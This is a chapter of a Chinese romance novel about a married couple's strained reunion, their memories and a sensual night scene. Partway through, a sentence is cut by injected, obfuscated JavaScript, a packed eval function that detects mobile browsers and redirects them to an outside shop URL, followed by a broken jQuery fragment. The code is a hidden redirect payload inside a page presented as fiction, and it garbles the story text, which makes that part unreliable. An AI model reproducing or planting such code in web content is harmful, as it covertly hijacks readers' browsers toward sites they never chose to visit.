俞漪同的目光在周从聿漆黑的脸上停顿片刻,感受到自己腰间的温度来自他的掌心。
她低头向下看去,却见周从聿不动声色地移开了原本放在她腰际的手。
腰间的热意在此刻消弭。
俞漪同蓦地抬起头,眼前是周从聿棱角分明的下颌角。
“你刚才是在偷偷抱我吗?”周从聿的头微微偏移,俞漪同看不到他的眼睛,声音却从困倦转向了一丝愉悦与窃喜。
当场抓包什么的,让她觉得自己成功的机会又大了几分。
果然两个人一旦住到一起,就没有男人能够坐怀不乱。
窗帘轻微晃动,缝隙中透出一丝一缕的微弱星光。
银月皎皎,高挂空中。
俞漪同朝他胸口的位置挪动了下,鼻尖凑近,说话时的呼气隔着睡衣也让周从聿的心口微动。
他的姿势没动,眼底仿佛萦绕着一团又一团晕不开的墨色。
今晚喝了很多酒,觥筹交错间孟修远和他频频碰杯。
“那可能只是周总不知道吧,”孟修远举着酒杯绕过在座其他人走到周从聿的座位旁敬酒,用只有他们两个人能听到的声音凑近周从聿低声说,“毕竟周总离开江城的这几年里,想必和她的联系几乎为零,不知道很多事情也是可以理解的。”
孟修远说话时眉宇含笑,笑容却没有直达眼底。他在嘴角上扬时举杯,杯中酒水尽数滑入喉咙。
喝完,孟修远得胜般地向周从聿晃了晃自己空空如也的酒杯,意思不言而喻。
周从聿的手转动杯口,在听到他说话时指尖微微用力。
他没接话,目光一如既往深邃,在孟修远的注视下同样将杯中的酒一饮而尽。
今晚的酒度数不低,入口是无比辛辣的口感,刺刺地剌向喉管,灼伤心口。
看到周从聿也喝完了酒,孟修远唇边的笑意不减。
他拎着酒壶,边低头往自己的酒杯里添酒边继续说:“虽说你现在回来了,你们也已经结婚了,但有些你没有参与的时间错过了就是错过了。”
说罢,孟修远同样也为周从聿的空杯子倒满酒,一时间酒香四溢,清明澄澈。
周从聿看着杯中摇晃的醇香液体,听到他的话冷笑一声,将孟修远的酒杯置于自己的杯口之下,碰杯时发出清脆声响。他掀起眼皮漠然地扫了孟修远一眼,嘴角浮现出好看的弧度。表情似有浅淡笑意,但开口却仍是冷意横生:“那又怎么样?你觉得我会在意区区四年吗?”
“往后的未来几十年,参与她生活的人都是我。”
“而不是你,孟修远。”
孟修远的话像一根刺,他总是能准确无误地戳中周从聿一直不愿意直面的伤口,然后鲜血淋漓。
于是在回到家的时候,看到俞漪同的睡颜,他心底时时刻刻涌现出一种不真实感。
床头柜的小夜灯是他买的。
包括上次带俞漪同回周家,他也提前买了送去让叶嫂摆放在床头。
俞漪同的暗适应能力很差,在晚上或者光线昏暗的地方就容易看不清。从他们刚在一起的时候开始,周从聿就发现了这个问题。那天晚自习下课,他们并肩走在楼梯上,楼梯间里的灯丝接触不良,发出滋啦滋啦的电流声,光影也随之闪烁。
快走到最后一层楼时,灯突然灭了,整个楼梯霎那间陷入了一片漆黑之中。
俞漪同很小声地惊呼一声,下一秒周从聿就听到她的声音又轻又细,颤抖着叫他的名字。
“周从聿,你过来牵我好不好?我夜盲,看不清。”
她的声音透露着抑制不住的紧张与恐惧,周从聿触碰到她手心的同时,感受到了温热又黏腻的湿意,汗津津的。
那是他们第一次牵手,很突兀地就这么发生了。
周从聿将自己的手指穿过俞漪同的手指,他叩紧她的掌心,拉着她慢慢向楼下走去。周遭漆黑无比,他走得很慢,每走一步都希望脚下的台阶能够无限延伸下去。
于是在后来数个他们共度的夜晚里,他都会在床头给俞漪同留下一点点光亮。
刚开始的时候周从聿其实很不适应在有光线的地方睡觉,不管调的多么微弱他都觉得晃眼睛。
但随着时间的推移他渐渐习惯,习惯了在深夜醒来时借着这零星光线望向俞漪同,看她睡着后呼吸浅浅。她就那么安静且乖巧地躺在自己身边,偶尔睡相差时会一个人将一床被子都卷走,或者将自己的腿不容置喙地横架在周从聿身上。
尽管如此,但他食髓知味,不知餍足。
伦敦的夜同样黑不见底,思念好像勒住人脖颈的枷锁,轻轻一扯就能让人轻而易举断了气。周从聿在如此黑夜中仿若跌入深不见底的池渊谷底,失去了自救的力气。
刚到英国时他整夜都难以入睡,纵使身体再怎么觉得疲惫,神经好像始终如同一根绷紧的弦将他扯住。他就这么倚靠在床头,望着窗外星星点点的夜。
而在压抑的此刻,他们甚至都无法看到同一片星空。
周从聿在自己的床头放了一盏灯,就好像俞漪同还在他身边那样。
他厌倦了清醒,于是终于能在这漫长的异国他乡的黑夜里寻求到片刻的安宁。只是这一次,不管什么时候醒来,身边都只剩孤零零的一盏灯,陪伴着他一个人。
而时至今日,周从聿终于又在同样的光线下看到了俞漪同的身影,四年白云苍狗好像一场终于能够醒来的梦。
伦敦的雾散了,他却看不清自己身在何处,又该往哪一个方向走去。
一如孟修远说的那样,他错过的时间永远都无法再重演。他可以当着孟修远的面假装不在乎,用他们会拥有共同的未来这句话麻痹自己或是叫板对方,可是只有他自己知道,孟修远的话让他有多在意。
怎么可能一点都不在意,他在意得快要发疯。
离开时是因为孟修远,回来后还是有他时时刻刻的出现,周从聿痛恨一切事情的不确定性和他无法把握的可能性,在俞漪同曾说过的彼此耽误里他变得担惊受怕畏手畏脚。
于是哪怕他意欲绝对的占有,却依旧盲目地在探寻他和俞漪同之间相对的选择。
就像一只隐忍又不敢贸然向前的野兽,纠结且煎熬。
他固执地要将猎物圈禁在自己的视野范围内,却又无法判断是否猎物完完全全属于自己,就像曾经那样。
“没有。”周从聿的嗓音淡哑又压抑,语气在顷刻间变得不自然。
听到周从聿否认的回答,俞漪同在心底嗤笑一声。
她的眼睛顺着周从聿枕在自己后颈下的手臂望过去,故意问道:“那你的这只手,是凭空出现在这里的?”
说着,俞漪同伸出一根手指,戳了戳周从聿的臂弯。
感受到周从聿想要抽走的动作,她一把将其按住,拧眉追问道:“怎么不说话了?”
“我梦游。”周从聿沉默着,须臾之后,声音强硬地开口。
“哦!”俞漪同脸上一幅我信你就有鬼了的表情,“那我为什么又会在你怀里?”
她的眼睫轻闪,目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833545|190912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光中带着狡黠的探究。
周从聿重重地呼出一口气,目光却不敢再停留在俞漪同脸上片刻:“那是你梦游。”
拙劣的借口。
俞漪同偷偷翻了个白眼,打心眼里讨厌这种不稳定的感觉。
按照她过去一如既往的臭脾气,俞漪同势必要在周从聿说完这句话后将头从他的手臂上挪开,但转念一想她就在做好这个决定的同时后悔。
别作别作,再作就真没戏了。
忍一忍,等事成之后有他受的。俞漪同在心底默念。
毕竟此行的目的就是来追夫的,那就只能自己的老公自己惯着了。
“哼。”俞漪同轻嗤一声,话语间却满是撒娇的意味。
她将自己毛茸茸的头顶在周从聿的手臂上蹭了蹭,整个人又向他的怀里拱了拱,然后张开双臂一把搂住周从聿的腰。
感受到周从聿的身体僵硬了一瞬,她又接着收紧了自己的手臂,指甲在周从聿的脊背上划过。
很明显感受了男人呼吸的停顿,低头看着怀中人时的目光带着迟疑与犹豫。
“被你发现了,是我梦游到你怀里的。”
俞漪同扬起头,湿润的唇瓣贴着他线条流畅的颌骨,原本眼底的困意已经化开得无影无踪。
手指顺着周从聿的尾椎骨慢慢向上,自他的背部线条一路滑到他的肩。
周从聿身上的肌肉很结实,俞漪同绕过他骨骼分明的锁骨,又一路瞬移到他的胸口。
哪怕是隔着睡衣,她都能感受到周从聿身体以及呼吸频率的变化。
刚在胸口停留还没两秒,她四处点火的手指就被人用力握住。
作案工具被没收了,周从聿的手臂圈住俞漪同的身体,用同样的姿势禁锢她无法逃脱。
体温的变化明显,房间内的气氛也开始变得越来越和一开始不同。
脖颈一直枕着的手轻轻抬起,肩上的纤细带子随之滑落。
俞漪同将她不安分的手指挣脱开来,感受着他胸口的起伏,贴着他下巴的唇瓣上移,有些笨拙又不得要领地紧贴在他唇边。
眼前倏尔有黑影压下,整个人遁入密不透风的怀抱之中。
身上的被子因为二人姿势的变化而滑落,滚烫的肌肤又暴露在气温骤降的夜色之中,是熊熊火焰与巍巍凉风之间的较量。
周从聿的手游离于她一直缠绕在腰间的睡裙裙摆处,反客为主地加深了这个吻,拿回了属于自己的主导权。
这个吻绵长却急迫,似是要撬开枷锁一般。
周从聿一晚上动荡不安的心境好像终于在此刻找到了一个出口。
刚欲深入,手腕却被人拉住叫停。
俞漪同用手指指尖戳了戳周从聿裤子下突出的地方。
周从聿不解地皱着眉但仍旧耐着性子望向她,只见她的脸上红晕未消。
声音里带着一丝抱歉,周从聿觉得太阳穴跳动猛烈。
“我今天,来例假了。”
抱歉是假的,她就是故意的。
心底漾出一圈又一圈的得意。
俞漪同的指尖还停留在他胯骨的下方,周从聿从她的眼尾看出了不怀好意的笑,才发觉被小姑娘摆了一道。
他阖上眼皮,调整了下自己错乱的呼吸。
再睁眼时,他握住俞漪同戳着自己的那只手。
另一只手解开裤子上的系带,整个动作一气呵成,不给俞漪同反应以及拒绝的机会。
“没事。”
“你自己点的火自己灭。”